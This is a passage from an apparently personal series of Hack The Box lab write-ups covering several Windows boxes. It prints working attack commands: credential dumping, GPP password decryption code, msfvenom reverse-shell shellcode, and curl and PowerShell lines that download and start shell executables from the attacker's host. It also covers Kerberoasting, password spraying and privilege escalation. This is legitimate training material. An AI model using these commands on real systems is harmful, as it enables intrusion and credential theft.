root\u0026rsquo;s history. After all, I had worked on plenty of linux boxes.\nThe smb connection gave me the credentials, so this was easy: I just had to connect.\n1 2 /opt/impacket/build/scripts-3.12/psexec.py administrator:\u0026#39;u6!4ZwgwOM#^OBf#Nwnh\u0026#39;@10.10.10.97 /opt/impacket/build/scripts-3.12/smbexec.py administrator:\u0026#39;u6!4ZwgwOM#^OBf#Nwnh\u0026#39;@10.10.10.97 Done.\nOverall, this one felt pretty manageable. The part I was less comfortable with was windows privilege escalation.\n10.Bastion Recon:\nAt first glance, if SMB had nothing to offer, I was going to be completely stuck.\nLuckily, anonymous access was enabled.\n1 smbclient -N //10.10.10.134/Backups I downloaded everything, but one file brought me to a standstill. The hint said not to download everything because it would be very slow.\nThis was the file. It was still growing and was simply too large. Following the hint, I stopped downloading it and deleted what I had because it was taking up too much space.\nAt this point, judging by the services that were open, I was probably expected to find the username and password myself. I couldn\u0026rsquo;t think of any other way this box could be solved.\nI used this method to mount the smaller vhd file, but it was completely empty when I opened it. There was probably something in the larger vhd file, but downloading it was far too slow. Maybe mounting it over the SMB service would work better?\nWhile searching, I found a blog post whose IP and method were exactly the same as the write-up, so I kept looking elsewhere.\nhttps://medium.com/@klockw3rk/mounting-vhd-file-on-kali-linux-through-remote-share-f2f9542c1f25\nThis blog used the same method as the previous one and was also written specifically for this lab.\nI searched for quite a while after that, but almost everything I found was about this particular lab. If this box had not already been released and I had needed to figure it out on my own, it probably would have been pretty difficult. The idea itself is easy to understand. I had already spent ages trying to download the file, but it was huge and the connection was slow. The method uses the CIFS SMB file share to mount the vhd from the target\u0026rsquo;s SMB service directly on the local machine. That way, files are loaded only as I access them locally. In practice, though, I still didn\u0026rsquo;t know how to do it. I had already figured out how the next stage would probably work: pull out SAM or HTDS.dit, use PTH or winrm, and get a shell. I couldn\u0026rsquo;t see any other route unless the password had been changed and I needed to hunt down the SSH password instead.\n1 2 3 4 5 6 apt-get install libguestfs-tools apt-get install cifs-utils mkdir /mnt/remote mkdir /mnt/vhd mount -t cifs //10.10.10.134/backups /mnt/remote -o rw guestmount --add /mnt/remote/WindowsImageBackup/L4mpje-PC/\u0026#39;Backup 2019-02-22 124351\u0026#39;/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt/vhd -v I needed to copy out the SAM and SYSTEM files from C:\\Windows\\System32\\config and rename them sam.hiv and system.hiv.\nThen it was just a matter of decrypting them. My Kali installation didn\u0026rsquo;t have this py file, so I moved them to Windows and decrypted them there.\n1 2 3 4 5 6 [*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9::: [*] Cleaning up... The Administrator password was empty, so I would most likely need to get back in and escalate privileges.\nI tried logging in many different ways, but authentication kept failing. After trying for a long time, I finally remembered that port 22 was still sitting there unused.\nI got in successfully. I\u0026rsquo;m skipping a long stretch here where I kept digging through files and found nothing. Later, I thought about trying something like sudo su, but that obviously wasn\u0026rsquo;t going to work and wasn\u0026rsquo;t realistic. Then it suddenly clicked: since I was using SSH now, could I connect with a public key? After all, SAM told me this password was empty, although that did not necessarily mean it really was. So I started looking for a public key.\nI found the configuration file here.\nBut PubkeyAuthentication was commented out, so it seemed that public-key login was not allowed.\nAt the very bottom, though, I found what looked like a public-key setting for the administrators match group?\nBut I had absolutely no permissions.\nI went back to the mount and searched through the backup again. I hadn\u0026rsquo;t tried looking through the ssh directory there before.\nThere was nothing there either.\nI was completely stuck at this point. Instead of looking at a write-up, I checked the next-step hint on Hack The Box.\nSo there was another remote connection tool?\nI found it.\nFollowing the hint:\nhttps://github.com/mRemoteNG/mRemoteNG/issues/1963\npassword\n1 aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw== https://www.errno.fr/mRemoteNG.html\nhttps://github.com/gquere/mRemoteNG_password_decrypt/ # decryption script\nCopying it directly would mess up the formatting, so I transferred it out over SMB.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 smbserver.py kali . copy .\\confCons.xml \\\\10.10.16.29\\kali\\confCons.xml python mremoteng_decrypt.py confCons.xml result: Name: DC Hostname: 127.0.0.1 Username: Administrator Password: thXLHM96BeKL0ER2 Name: L4mpje-PC Hostname: 192.168.1.75 Username: L4mpje Password: bureaulampje Done.\nThe difficulty was fair. For the initial shell, I might have spent a very long time searching if later players hadn\u0026rsquo;t written blog posts explaining how to mount the remote file. I got stuck on the privilege-escalation stage because I didn\u0026rsquo;t inspect every program carefully enough. At the time, I only looked through Program Files and never checked Program Files (x86). I still had to rely on Hack The Box\u0026rsquo;s guided mode: submitting the user flag gave me the next step. I really just need more practice.\nClean up the mounts afterward, or things can get a little sluggish.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 # First, leave the mount directory cd / # Check processes lsof | grep \u0026#39;/mnt/vhd\u0026#39; fuser -mv /mnt/vhd # Stop related processes kill \u0026lt;pid\u0026gt; # Or use kill -9 \u0026lt;pid\u0026gt; to force termination # Unmount the VHD guestunmount /mnt/vhd # If that fails, try: fusermount -u /mnt/vhd # Unmount the CIFS share umount /mnt/remote # If it reports busy, use: umount -l /mnt/remote # Lazy unmount # Or umount -f /mnt/remote # Force unmount # Finally, remove the mount points rmdir /mnt/vhd rmdir /mnt/remote 11.Buff Information gathering:\nPort 8080 was hosting a gym website. After reading the site\u0026rsquo;s readme.md and doing some searching, I found the project page:\nhttps://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/\nThere was an initial password here, but it had already been changed.\nI downloaded the project and found a default user, but those credentials had been changed too.\nThen I started auditing the code and noticed that upload.php didn\u0026rsquo;t seem to perform any authentication checks.\nWhen I searched for an exploit, I actually found one with a CVE number. I wanted to make sure it hadn\u0026rsquo;t been written later by someone who had already completed the box:\nhttps://www.exploit-db.com/exploits/48506\nClearly, that exploit existed before this box was released, so it wasn\u0026rsquo;t something copied from somebody else\u0026rsquo;s write-up.\nExploiting it manually would have been simple enough. Crafting the file-upload request was a little tedious, but after setting the project up locally and capturing the request, I could have just changed the IP. I went with the exploit here for convenience.\nThat really was convenient. Time to start privilege escalation.\nSkipping over a long stretch here: I spent ages trying to upload an exe for a reverse shell, but nothing worked at all. Neither smb nor certutil worked.\nThe uploaded shell wouldn\u0026rsquo;t open either. After a lot of attempts, I finally got it working:\n1 2 3 # This can be uploaded curl http://10.10.16.29:33333/reserver_shell/shell296666.exe -o .\\shell.exe The Ivan Sincek PHP script can also provide a reverse shell Privilege escalation:\nIt didn\u0026rsquo;t seem to be connected to the database.\nBut the database was definitely running.\nNo wonder I couldn\u0026rsquo;t use it.\nAfter that, the connection kept dropping, and then I couldn\u0026rsquo;t do anything.\nSwitching to another openvpn node fixed it.\nI found CloudMe_1112.exe in shaun\u0026rsquo;s download directory.\nAnd I found an exploit for it.\nFollowing the instructions, I tried launching CloudMe_1112.exe, and it really did start locally. I wasn\u0026rsquo;t sure whether launching it as shaun and then exploiting the buffer overflow would give me administrator privileges, but it was still worth a try.\nBut it was listening locally, so I needed to set up a tunnel.\nI\u0026rsquo;ve set up tunnels with frp plenty of times, so I won\u0026rsquo;t include that process here. The exploit only needed a few small changes. According to the instructions, I needed to generate shellcode:\n1 2 # Following the hint to avoid CMD, simply append LHOST=10.10.16.2 LPORT=3334 msfvenom -a x86 -p windows/shell_reverse_tcp -b \u0026#39;\\x00\\x0A\\x0D\u0026#39; -f python LHOST=10.10.16.2 LPORT=3334 Since it was generated as buf:\nI just had to add payload = buf after copying it over.\nIt ran successfully without printing any output.\nDone.\nThis box wasn\u0026rsquo;t too bad overall. Getting a shell was easy enough to understand; getting the reverse shell was the real headache, probably because of the network adapter. Still, it was all fairly standard. The one thing I really need to learn more about is Windows privilege escalation. Previously, I\u0026rsquo;d always looked for programs in places like Program Files, but this time I found one in a user directory. It still took me a long time.\n12.ServMon That rating really is a bit low.\nRecon:\nsmb doesn\u0026rsquo;t allow anonymous login.\nThe anonymous ftp login had two files.\nGoing by the hints, nathan\u0026rsquo;s Passwords.txt was placed on the desktop. Then there are Nathan\u0026rsquo;s notes: he\u0026rsquo;d already changed the passwords and locked down access to NSClient? Below that, he also mentions uploading the passwords. He has another secret file on sharepoint, and removing public access to NVMS (which he clearly didn\u0026rsquo;t get around to, or I wouldn\u0026rsquo;t have been able to access it).\nSure enough, there was an arbitrary file-read vulnerability, so I could read the password file.\nFor some reason, I couldn\u0026rsquo;t get the exploit to work. Doing it manually worked, though, so it was probably an issue with my parameters.\nI got the passwords. The target currently has quite a few services open, so I\u0026rsquo;d have to try these passwords against them one by one.\n1 2 3 4 5 6 7 8 9 nathan 1nsp3ctTh3Way2Mars! Th3r34r3To0M4nyTrait0r5! B3WithM30r4ga1n5tMe L1k3B1gBut7s@W0rk 0nly7h3y0unGWi11F0l10w IfH3s4b0Utg0t0H1sH0me Gr4etN3w5w17hMySk1Pa5$ None of these passwords worked with hydra against ftp or ssh. I couldn\u0026rsquo;t figure out why hydra wouldn\u0026rsquo;t brute-force smb either.\nThe NVMS service on port 80 really was inaccessible, and the NSClient service on port 8443 had been shut off just as the note said.\nI tried the passwords manually against smb as well, but none of them were correct.\nI\u0026rsquo;d only been trying the nathan user before. There was also a Nadine user I hadn\u0026rsquo;t tested yet.\nSuccess.\nI got a shell.\nTime for privilege escalation:\nFollowing the hint, I first went looking for the password file in sharepoint. The note also said he was going to upload “password,” but I wasn\u0026rsquo;t sure whether that meant the passwords.txt file or something else, so I searched for that at the same time.\nI probably wasn\u0026rsquo;t going to find the password anymore because my current user couldn\u0026rsquo;t access nathan\u0026rsquo;s files. The only arbitrary file-read primitive I had didn\u0026rsquo;t reveal the directory structure, so there wasn\u0026rsquo;t much I could do with it. Basic enumeration didn\u0026rsquo;t turn up any hidden files in nadine\u0026rsquo;s home directory, so I decided to run a scan first.\n1 curl http://10.10.16.2:33333/winPEASany.exe -o .\\winPEASany.exe It was deleted as soon as I uploaded it, and I wasn\u0026rsquo;t allowed to view systeminfo either. So I went to look for the sharepoint location mentioned in the note first.\nWhile looking for sharepoint, I found sshconfig. Unfortunately, public-key authentication was disabled; otherwise, I could at least have read nathan\u0026rsquo;s public key.\nI couldn\u0026rsquo;t find the NSClient++ password or NSC.ini either. I never found sharepoint afterward—there simply wasn\u0026rsquo;t a directory by that name.\nI then started searching for exploits and found that NSClient++ apparently had a local privilege-escalation vulnerability. I couldn\u0026rsquo;t find a local file that revealed the version, but I decided to follow the guide anyway, mainly because it mentioned another password file.\nhttps://www.exploit-db.com/exploits/46802\nSure enough, the guide worked.\n1 password = ew2x6SsGTxjRwXOT The second step said these modules had to be enabled.\nI wanted to check whether the startup parameters included them, but unfortunately I couldn\u0026rsquo;t access that information. I could only assume it had been launched with those parameters.\nThe guide seemed to require using the web interface. Judging by the listening port, 8443 should have been accessible from every IP rather than bound locally. But the hint had said that NSClient++ was locked down and couldn\u0026rsquo;t be accessed, so I first tried connecting to it locally.\nWhile searching, I found a few scripts that worked through the API, which meant I wouldn\u0026rsquo;t have to click through the interface manually. I also had to upload an AV-evasive netcat build to keep it from being deleted, confirming that the target had antivirus software installed.\nI tried these exploits, but every single one threw an error. Then I tried accessing the service locally.\nIt would just hang like this.\nThe target didn\u0026rsquo;t have python.exe either. If it had, I could have uploaded the exploit and run it locally. At this point, it looked like my only option was to set up an frp tunnel.\nAfter setting up the tunnel, https still failed to resolve properly, so I still couldn\u0026rsquo;t access it locally.\nAt this point, my only option was to package those exploits as an exe and upload it, because I still felt the service ought to be reachable locally.\nSuccess.\nProject: https://github.com/xtizi/NSClient-0.5.2.35\u0026mdash;Privilege-Escalation/blob/master/exploit.py\nI finally understood why the rating was so low. Overall, though, the box wasn\u0026rsquo;t too bad. At the time, I thought this route might be a dead end and that I might need to investigate NVMS1000 instead. But all the NVMS vulnerabilities I could find were directory traversal issues, with nothing useful for privilege escalation, while every search for NSClient turned up RCE and privilege-escalation vulnerabilities. The problem was that there was no complete attack chain supporting this route—it all came down to guesswork. First, I had no way to confirm the version. All I had was a log file whose newest timestamps appeared to be from 2016. Second, even connecting with Netcat locally gave me no indication that the service actually existed. By the time I was testing it, the whole idea felt impossible. Maybe the hint:\nwas meant to tell me that it could only be accessed locally. Also, “sharepoint” doesn\u0026rsquo;t necessarily refer only to Microsoft\u0026rsquo;s product; it can also mean a web location. All in all, it was still a pretty interesting box. The low rating may be because the target had antivirus installed, making many tools unusable. Afterward, I started experimenting with how to access the https site locally as well.\n1 2 3 4 5 # Adding -k is sufficient curl -k https://localhost:8443/index.html # I omitted the file, so I did not receive the redirect and assumed the response was empty # Add -L here to follow redirects curl -k https://localhost:8443/ -L 13.Active Information gathering:\nsmb\nBy default, two folders allow anonymous access, while another two require you to log in.\nIt looks like users requires a login too.\nWhen I started digging through those folders, I realized I seemed to have learned about this SYSVOL thing before.\nhttps://xz.aliyun.com/t/1653?time__1311=n4%2BxniitG%3DDtdDKi%3D%3DDs03xCq7KGQ%3D8GeCoK7e4D\nhttps://adsecurity.org/?p=2288\nAfter some searching, I managed to dig up the password as well.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 function Get-DecryptedCpassword { [CmdletBinding()] Param ( [string] $Cpassword ) try { #Append appropriate padding based on string length $Mod = ($Cpassword.length % 4) switch ($Mod) { \u0026#39;1\u0026#39; {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} \u0026#39;2\u0026#39; {$Cpassword += (\u0026#39;=\u0026#39; * (4 - $Mod))} \u0026#39;3\u0026#39; {$Cpassword += (\u0026#39;=\u0026#39; * (4 - $Mod))} } $Base64Decoded = [Convert]::FromBase64String($Cpassword) #Create a new AES .NET Crypto Object $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) #Set IV to all nulls to prevent dynamic generation of IV value $AesIV = New-Object Byte[]($AesObject.IV.Length) $AesObject.IV = $AesIV $AesObject.Key = $AesKey $DecryptorObject = $AesObject.CreateDecryptor() [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) } catch {Write-Error $Error[0]} } Get-DecryptedCpassword \u0026#34;edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ\u0026#34; It decrypted successfully.\n1 2 active.htb\\SVC_TGS GPPstillStandingStrong2k18 I checked things one by one, then came back to the SMB service before looking at the others. Users was accessible now.\nIt really was the Users folder, and I got the flag.\nThere was no constrained delegation.\nI spent a long time trying things next, mostly the two commands below. In fact, I should have just tried GetUserSPNs and been done with it, since that was exactly what the hint pointed to. I simply hadn\u0026rsquo;t read the error carefully at the time.\n1 2 GetUserSPNs.py DC.active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip active.htb -request python getST.py -dc-ip active.htb -spn cifs/DC.active.htb -impersonate Administrator active.htb/SVC_TGS:GPPstillStandingStrong2k18 The command below can adjust the time, but the error comes back again a few seconds after the adjustment.\n1 ntpdate -u active.htb \u0026amp;\u0026amp; date https://medium.com/@danieldantebarnes/fixing-the-kerberos-sessionerror-krb-ap-err-skew-clock-skew-too-great-issue-while-kerberoasting-b60b0fe20069\nThis tutorial solved the problem and let me set the time correctly.\nAnyway, I got the hash.\n1 hashcat -m 13100 1.txt /usr/share/wordlists/rockyou.txt 1 Ticketmaster1968 PTH\nDone.\nIt felt pretty manageable overall—mostly a chance to get more familiar with an AD environment. I overlooked the clock-sync issue and wasted a bit of time there, but the box was generally good practice for getting comfortable with AD penetration testing.\n14.Remote Information gathering:\nI went through every port one by one except 80.\nAnonymous FTP worked, but there was nothing there. I made a note of it for now—maybe the FTP directory was also the web root.\nSMB didn\u0026rsquo;t allow anonymous access.\nI\u0026rsquo;d used NFS a few times on VulnHub before, but that was quite a while ago. Luckily, I still had my notes.\n1 showmount -e 10.10.10.180 1 2 mkdir ./site_backups mount -t nfs 10.10.10.180:/site_backups ./site_backups Now I had everything, so it was time to see what was actually running on port 80.\nI didn\u0026rsquo;t find anything interesting.\nI started digging through the NFS share alongside the website. This was my first time seeing a directory structure like this, so I searched around to figure out what it was.\nI checked a lot of directories but still couldn\u0026rsquo;t find the main page, so I went straight to find. It loaded every file while searching, which made things a little sluggish.\n1 2 3 find ./ -name *.html find ./ -name *.aspx find ./ -name *.asp I noticed that all these files were concentrated in one directory.\nI looked up Umbraco, and sure enough, it was a framework.\nIt also had plenty of RCE vulnerabilities. First, though, I needed to find the version.\nI found a few leads: one pointed to the admin page, another suggested checking the application, and one more said the version might be in webconfig. While searching for other webconfig files, I also tried a common exploit directly, but it apparently required credentials.\nI started Googling and manually searching for credentials. Google results said the username and password would both be in the database, not anywhere else.\nWhile searching, I found the version. It matched the exploit I was looking at exactly, but I still needed credentials to use it.\nEventually, while Googling, I found where the SQL credentials were stored.\nhttps://stackoverflow.com/questions/36979794/umbraco-database-connection-credentials\nAccording to that post, the file was at App_Data/Umbraco.sdf, and I would need to convert the Umbraco SQL CE database to SQL Express.\nThe tool URL they provided no longer worked: http://sqlcetoolbox.codeplex.com/. The other tutorials all used a plugin installed in VS, but I still managed to find the tool itself.\nhttps://github.com/ErikEJ/SqlCeToolbox/releases/download/4.8.732/SqlCe40ToolBox.zip\nIt was extremely awkward to use. It required a database connection before it could open anything; without one, it couldn\u0026rsquo;t decode the file. I was completely stuck here. I never expected an easy box to stop me dead like this. But when I took another look at the file, I realized most of it was binary, so getting mostly garbled output from cat was perfectly normal. There was still some noise in strings too, but most of its output was clearly readable.\nI tried skipping the tool and just running strings directly.\n1 admin:baconandcheese Success. Now I could run the exploit.\nhttps://github.com/noraj/Umbraco-RCE/blob/master/exploit.py\n1 python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180/ -c ipconfig The test worked, so I could build the actual exploit command.\nGetting a shell was a bit of a struggle, but I got there in the end.\n1 2 python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180/ -c powershell.exe -a \u0026#39;-NoProfile -Command curl http://10.10.16.2:33333/Remote/shell.exe -o \\\\users\\\\Public\\\\shell.exe\u0026#39; python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180/ -c powershell.exe -a \u0026#39;-NoProfile -Command start \\\\users\\\\Public\\\\shell.exe\u0026#39; Only after getting in did I remember the FTP service. Uploading through FTP and then executing the file would have worked just fine. Meanwhile, I\u0026rsquo;d spent all that time looking for a writable folder and painstakingly building the upload command.\nFrom there, I could just use the Potato exploit to escalate privileges.\n1 2 curl http://10.10.16.2:33333/Privilege_Escalation_tool_windows/PrintSpoofer64.exe -o .\\PrintSpoofer64.exe PrintSpoofer64.exe -i -c cmd Done.\nOverall, it wasn\u0026rsquo;t too bad—it was an easy box, after all. The part that tripped me up was finding the password. At first, I searched for where Umbraco stored its database password, or even where the database file itself was located. I kept searching, but nothing told me where it was. Later, I can\u0026rsquo;t remember exactly what I searched for, but I came across a blog post that revealed the database file\u0026rsquo;s location. I initially followed the method in that post, but it required connecting to a new database. After thinking about it for a while, I finally realized strings could expose the plaintext. Then came the reverse shell. I don\u0026rsquo;t know why cmd commands wouldn\u0026rsquo;t work; they had no effect and also threw errors.\nIn the end, I followed the tutorial for this exploit and pieced the command together that way. Most of the difficulty was really concentrated in getting the shell.\n15. Fuse Information gathering:\nAnother domain controller.\nLDAP:\nDNS:\nI decided to add these two domains to my hosts file first.\n1 fuse.fabricorp.local. hostmaster.fabricorp.local Other than that, LDAP didn\u0026rsquo;t give me anything else. I had gathered everything I could for now, so it was time to look at port 80.\nIt redirected automatically.\nSo the DNS results had actually given me another domain, hostmaster.fabricorp.local. It looked like that might come in handy too.\nI couldn\u0026rsquo;t get anywhere with port 80, so I turned my attention back to SMB and LDAP. I had only tried connecting to SMB anonymously and hadn\u0026rsquo;t looked into it in detail. There are actually plenty of other ways to gather information from SMB.\n1 2 3 4 5 enum4linux -a -u \u0026#34;\u0026#34; -p \u0026#34;\u0026#34; \u0026lt;dc-ip\u0026gt; \u0026amp;\u0026amp; enum4linux -a -u \u0026#34;guest\u0026#34; -p \u0026#34;\u0026#34; \u0026lt;dc-ip\u0026gt; smbmap -u \u0026#34;\u0026#34; -p \u0026#34;\u0026#34; -P 445 -H \u0026lt;dc-ip\u0026gt; \u0026amp;\u0026amp; smbmap -u \u0026#34;guest\u0026#34; -p \u0026#34;\u0026#34; -P 445 -H \u0026lt;dc-ip\u0026gt; smbclient -U \u0026#39;%\u0026#39; -L //\u0026lt;dc-ip\u0026gt; \u0026amp;\u0026amp; smbclient -U \u0026#39;guest%\u0026#39; -L //\u0026lt;dc-ip\u0026gt; cme smb \u0026lt;ip\u0026gt; -u \u0026#39;\u0026#39; -p \u0026#39;\u0026#39; # Enumerate SMB shares accessible through a null session cme smb \u0026lt;ip\u0026gt; -u \u0026#39;a\u0026#39; -p \u0026#39;\u0026#39; # Enumerate anonymously accessible SMB shares 1 2 3 4 5 Domain Name: FABRICORP Domain Sid: S-1-5-21-2633719317-1471316042-3957863514 SMB fabricorp.local 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True) SMB fabricorp.local 445 FUSE [+] fabricorp.local\\: I checked LDAP too, but there was nothing there. Port 80 had nothing either, so I started brute-forcing subdomains in case that turned up something.\n1 2 dnsenum fabricorp.local --dnsserver 10.10.10.193 wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.193 -H \u0026#34;Host: FUZZ.fabricorp.local\u0026#34; --hh 103 I noticed something odd: an IP ending in 85 was listed in the domain controller\u0026rsquo;s DNS records. Did that mean there was a domain environment here, with the .85 host joined to the domain? In the end, the entire subdomain scan completed without finding a single one.\nAfter putting all the information together, it looked like there wasn\u0026rsquo;t a vulnerability anywhere. Everything felt like a mess, and I had no idea what was actually going on.\nI shifted my focus away from SMB, DNS, and LDAP and went back to port 80. At this point, I really needed to get either an account or at least a username before I could gather any more information.\nOnce I wrote that thought down, it suddenly clicked. The website on port 80 showed historical print logs—and didn\u0026rsquo;t those logs contain usernames? I had clearly seen them earlier.\n1 2 3 4 5 pmerton tlavel sthompson bhult administrator All that was left was brute force. I worked through the users one by one.\nFirst, I tried an ASREP-Roasting attack.\nI tried everything, but none of it worked. Based on what I had learned so far, I was basically stuck. There were only two paths left: look into ADWS, which I had never touched before, or find another wordlist and keep brute-forcing.\nI searched for ADWS vulnerabilities and found only one.\nI had tried NTLM relay in other ways before, but this was my first time hearing about ADWS.\nhttps://clement.notin.org/blog/2020/11/16/ntlm-relay-of-adws-connections-with-impacket/\nhttps://www.youtube.com/watch?v=Blh9LAF92ro\nI went through both of these. They explain ADWS relay, but NTLM authentication requires credentials, so this was completely useless here.\nThat left only the last option. I personally don\u0026rsquo;t particularly like brute force because it always feels like there\u0026rsquo;s nothing there.\nThe weak-password brute force didn\u0026rsquo;t find anything either. I wasn\u0026rsquo;t planning to use cewl to build a wordlist because, after looking at the page, there didn\u0026rsquo;t seem to be much to extract. In short, I was completely stuck.\nNone of the techniques I had learned so far could get me any more information, so I decided to check the Hack The Box hint and see what it revealed.\nI found the hint. Did this mean those users actually had weak passwords? Fine, I would just use cewl to generate a password list and brute-force them properly.\nUnfortunately, I still got no results. At this point I had no choice but to look at a write-up. I had previously read OSCP retrospectives saying that you absolutely need to prepare good wordlists because so many places require brute force. If my wordlist was the problem, then at least this box could help me expand it.\n1 2 3 4 cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers \u0026gt; wordlist cewl -d 5 -m 3 --with-numbers -w passwords.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm cewl -w passfile.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers cewl -w pwd.txt --with-numbers http://fuse.fabricorp.local/papercut/logs/html/index.htm These are the commands I found in several blogs for this step. There really wasn\u0026rsquo;t much explanation: you simply need to include numbers by adding the \u0026ndash;with-numbers flag.\n1 2 cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers \u0026gt; wordlist crackmapexec smb fabricorp.local -u user.txt -p wordlist 1 2 3 # Found two credential pairs, but both return STATUS_PASSWORD_MUST_CHANGE fabricorp.local\\bhult:Fabricorp01 fabricorp.local\\tlavel:Fabricorp01 So now I needed to log in.\nI started trying every available login point. Based on the open services, I could try RPC, SMB, LDAP, and WinRM, but every one of them returned NT_STATUS_PASSWORD_MUST_CHANGE.\nIt felt like getting the password was no different from not having it at all.\nhttps://www.n00py.io/2021/09/resetting-expired-passwords-remotely/\nThis blog explains how to change a password remotely, so I gave it a try.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords] └─# smbpasswd -r 10.10.10.193 -U bhult Old SMB password: New SMB password: Retype new SMB password: machine 10.10.10.193 rejected the password change: Error was : The transport connection is now disconnected.. ┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords] └─# smbpasswd -r 10.10.10.193 -U tlavel Old SMB password: New SMB password: Retype new SMB password: machine 10.10.10.193 rejected the password change: Error was : The transport connection is now disconnected.. ┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords] └─# smbpasswd -r fabricorp.local -U tlavel Old SMB password: New SMB password: Retype new SMB password: machine fabricorp.local rejected the password change: Error was : The transport connection is now disconnected.. ┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords] └─# smbpasswd -r fabricorp.local -U bhult Old SMB password: New SMB password: Retype new SMB password: machine fabricorp.local rejected the password change: Error was : The transport connection is now disconnected.. It kept saying the connection had failed. I was losing my mind. The message seemed to suggest it couldn\u0026rsquo;t be done locally.\nhttps://daniel-schwarzentraub.medium.com/tryhackme-boot-to-root-room-razorblack-8b4ec8ec5118\nThis is a write-up for another box. The author ran into the same issue and chose impacket-smbpasswd to change the password.\nFollowing that lead, I found this: https://github.com/snovvcrash/impacket/blob/smbpasswd/examples/smbpasswd.py\nIt finally worked.\n1 python smbpasswd.py bhult@10.10.10.193 1 bhult:Fabricorp@123 But the password hadn\u0026rsquo;t actually changed. It was still the original one.\nUsing the command below finally worked.\n1 2 python smbpasswd.py bhult@fabricorp.local bhult:Fabricorp@123!@# I could connect over RPC, but after disconnecting, the password changed back again. I went online and grabbed a random password.\n1 bhult:2x@oteL8YOJa 1 2 3 4 5 6 7 8 9 10 11 12 13 smbclient -L //10.10.10.193/ -U bhult Password for [WORKGROUP\\bhult]: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share HP-MFT01 Printer HP-MFT01 IPC$ IPC Remote IPC NETLOGON Disk Logon server share print$ Disk Printer Drivers SYSVOL Disk Logon server share SMB1 disabled -- no workgroup available Now I could do quite a lot. (It seemed to reset once a minute, or perhaps immediately after a connection. Either way, it had to be one of those two.)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 user:[Administrator] rid:[0x1f4] user:[Guest] rid:[0x1f5] user:[krbtgt] rid:[0x1f6] user:[DefaultAccount] rid:[0x1f7] user:[svc-print] rid:[0x450] user:[bnielson] rid:[0x451] user:[sthompson] rid:[0x641] user:[tlavel] rid:[0x642] user:[pmerton] rid:[0x643] user:[svc-scan] rid:[0x645] user:[bhult] rid:[0x1bbd] user:[dandrews] rid:[0x1bbe] user:[mberbatov] rid:[0x1db1] user:[astein] rid:[0x1db2] user:[dmuir] rid:[0x1db3] 1 2 3 4 GetUserSPNs.py fabricorp.local/bhult:YcfOrivT1QUp -dc-ip 10.10.10.193 -request Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies No entries found! 1 2 3 4 5 6 rpcclient -U \u0026#34;tlavel%9VwzPigFmknx\u0026#34; -c \u0026#39;enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit\u0026#39; 10.10.10.193 The RPC enumeration wordlist appears later and can extract all information; one useful result follows flags:[0x800000] name:[\\\\10.10.10.193\\HP-MFT01] description:[\\\\10.10.10.193\\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)] I tried logging in to scan2docs, but unfortunately it didn\u0026rsquo;t work. I went back to brute force since there were other accounts above.\n1 crackmapexec smb fabricorp.local -u username.txt -p \u0026#34;\\$fab@s3Rv1ce\\$1\u0026#34; --continue-on-success 1 svc-print:$fab@s3Rv1ce$1 That worked and I could access it, but there weren\u0026rsquo;t any other directories. Next, I tried WinRM to see if I could get a shell.\n1 crackmapexec winrm fabricorp.local -u username.txt -p \u0026#34;\\$fab@s3Rv1ce\\$1\u0026#34; --continue-on-success 1 crackmapexec winrm fabricorp.local -u svc-print -p \u0026#34;\\$fab@s3Rv1ce\\$1\u0026#34; winPEASany.exe didn\u0026rsquo;t give me much, so 